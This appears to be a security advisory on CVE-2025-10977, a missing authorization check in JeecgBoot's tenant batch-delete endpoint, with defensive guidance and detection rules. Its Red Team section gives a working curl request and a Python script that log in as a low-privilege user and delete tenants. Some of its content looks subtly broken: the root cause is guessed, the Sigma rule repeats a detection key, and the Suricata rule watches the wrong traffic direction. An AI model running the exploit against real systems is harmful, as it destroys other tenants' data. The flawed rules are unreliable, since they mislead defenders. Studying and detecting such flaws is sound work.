CVE-2025-10977

Executive Summary

CVE-2025-10977 is an improper authorization vulnerability (CWE-285) identified in the JeecgBoot framework, affecting versions up to and including 3.8.2. The vulnerability resides in the /sys/tenant/deleteBatch endpoint, where the ids parameter is not properly validated against the current user's permissions. This allows an authenticated attacker with low privileges to delete tenant records in bulk, potentially disrupting multi-tenant isolation and causing data loss. The attack complexity is high, requiring specific conditions, and the exploit is publicly available. No official patch has been released by the vendor.

Supply Chain & Package Security

JeecgBoot is a Java-based rapid development framework. This vulnerability does not directly affect package registries like NPM or PyPI, but it impacts the core framework's authorization logic. Users should verify their deployment version and apply any available workarounds.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – Requires specific conditions or chaining with other vulnerabilities.
• Privileges Required: Low (PR:L) – Attacker needs a valid low-privilege account.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Unauthorized deletion of tenant data.
• Availability Impact: None (A:N)

Threat Level: Low. The high attack complexity and low privileges required limit the immediate risk, but the public availability of the exploit increases the threat for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic improper authorization flaw. The /sys/tenant/deleteBatch endpoint is designed to allow administrators to delete multiple tenant records in a single request. However, the code fails to verify that the requesting user has the necessary permissions (e.g., tenant:delete or similar) before processing the ids parameter.

Root Cause: The endpoint likely uses a generic batch delete method that does not enforce role-based access control (RBAC) checks. The ids parameter is an array of tenant IDs that are directly passed to a database delete operation without verifying the user's authorization for each tenant.

Attack Flow:

1. Attacker authenticates as a low-privilege user (e.g., a regular tenant admin).
2. Attacker sends a POST request to /sys/tenant/deleteBatch with a crafted ids parameter containing tenant IDs they should not have access to.
3. The server processes the request and deletes the specified tenants, bypassing authorization checks.

Impact: Successful exploitation allows an attacker to delete tenant records, causing data loss and potentially breaking multi-tenant isolation. This could lead to service disruption for other tenants.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common authorization patterns.

Vulnerable Code (JeecgBoot <= 3.8.2):

// Vulnerable: No authorization check
@PostMapping("/deleteBatch")
public Result<?> deleteBatch(@RequestParam(name = "ids") String ids) {
    tenantService.removeByIds(Arrays.asList(ids.split(",")));
    return Result.ok("Deleted successfully");
}

Patched Code (Hypothetical):

// Patched: Added authorization check
@PostMapping("/deleteBatch")
public Result<?> deleteBatch(@RequestParam(name = "ids") String ids) {
    // Check if user has tenant delete permission
    if (!SecurityUtils.getSubject().isPermitted("tenant:delete")) {
        return Result.error("No permission to delete tenants");
    }
    // Additional check: verify user can delete each tenant
    for (String id : ids.split(",")) {
        if (!tenantService.canUserDeleteTenant(id, SecurityUtils.getCurrentUser())) {
            return Result.error("No permission to delete tenant: " + id);
        }
    }
    tenantService.removeByIds(Arrays.asList(ids.split(",")));
    return Result.ok("Deleted successfully");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running JeecgBoot instance (version <= 3.8.2)
• Valid low-privilege user credentials (e.g., testuser:password123)

Exploit Steps:

1. Authenticate and obtain a session token.
2. Send a POST request to the vulnerable endpoint with the target tenant IDs.

Example Request (using cURL):

curl -X POST "http://target.com/sys/tenant/deleteBatch" \
  -H "Cookie: JSESSIONID=your_session_id" \
  -d "ids=1,2,3,4"

Python Exploit Script:

import requests

target = "http://target.com"
session = requests.Session()

# Authenticate
login_data = {"username": "testuser", "password": "password123"}
session.post(f"{target}/login", data=login_data)

# Exploit
delete_url = f"{target}/sys/tenant/deleteBatch"
payload = {"ids": "1,2,3,4"}
response = session.post(delete_url, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual batch delete requests to /sys/tenant/deleteBatch from non-admin users.
• Alert on multiple tenant deletion attempts within a short time frame.

Mitigation:

• Implement proper authorization checks on the endpoint.
• Restrict access to the endpoint to only admin users.
• Use a Web Application Firewall (WAF) to block requests with suspicious ids parameters.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /sys/tenant/deleteBatch with ids parameter containing multiple numeric values.
  • Unusual login attempts from low-privilege users followed by batch delete requests.
• Logs:
  • Application logs showing DELETE FROM tenant WHERE id IN (...) queries executed by non-admin users.
  • Access logs with 200 responses to /sys/tenant/deleteBatch from unexpected user agents.
• System:
  • Missing tenant records in the database.
  • Error logs from tenant services indicating missing data.

Detection Engineering

YARA Rule

rule CVE_2025_10977_JeecgBoot_DeleteBatch {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10977 in JeecgBoot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10977"
    strings:
        $s1 = "/sys/tenant/deleteBatch" ascii wide nocase
        $s2 = "ids=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-10977 - JeecgBoot Tenant Delete Batch Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-10977 via unauthorized tenant deletion
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/sys/tenant/deleteBatch'
        cs-uri-query|contains: 'ids='
    condition: selection
falsepositives:
    - Legitimate admin batch delete operations
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10977 - JeecgBoot Tenant Delete Batch Exploitation";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/sys/tenant/deleteBatch";
    http_uri;
    content:"ids=";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /sys/tenant/deleteBatch via web server configuration or WAF.
2. Implement manual authorization checks in the code as shown in the patched example.
3. Restrict access to the endpoint to only admin users via role-based access control.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Upgrade to a patched version of JeecgBoot.
• Conduct a security audit of all batch operations to ensure proper authorization.

Workaround:

• Use a reverse proxy to require additional authentication for the /sys/tenant/deleteBatch endpoint.

Valters IT
Securing Digital Frontiers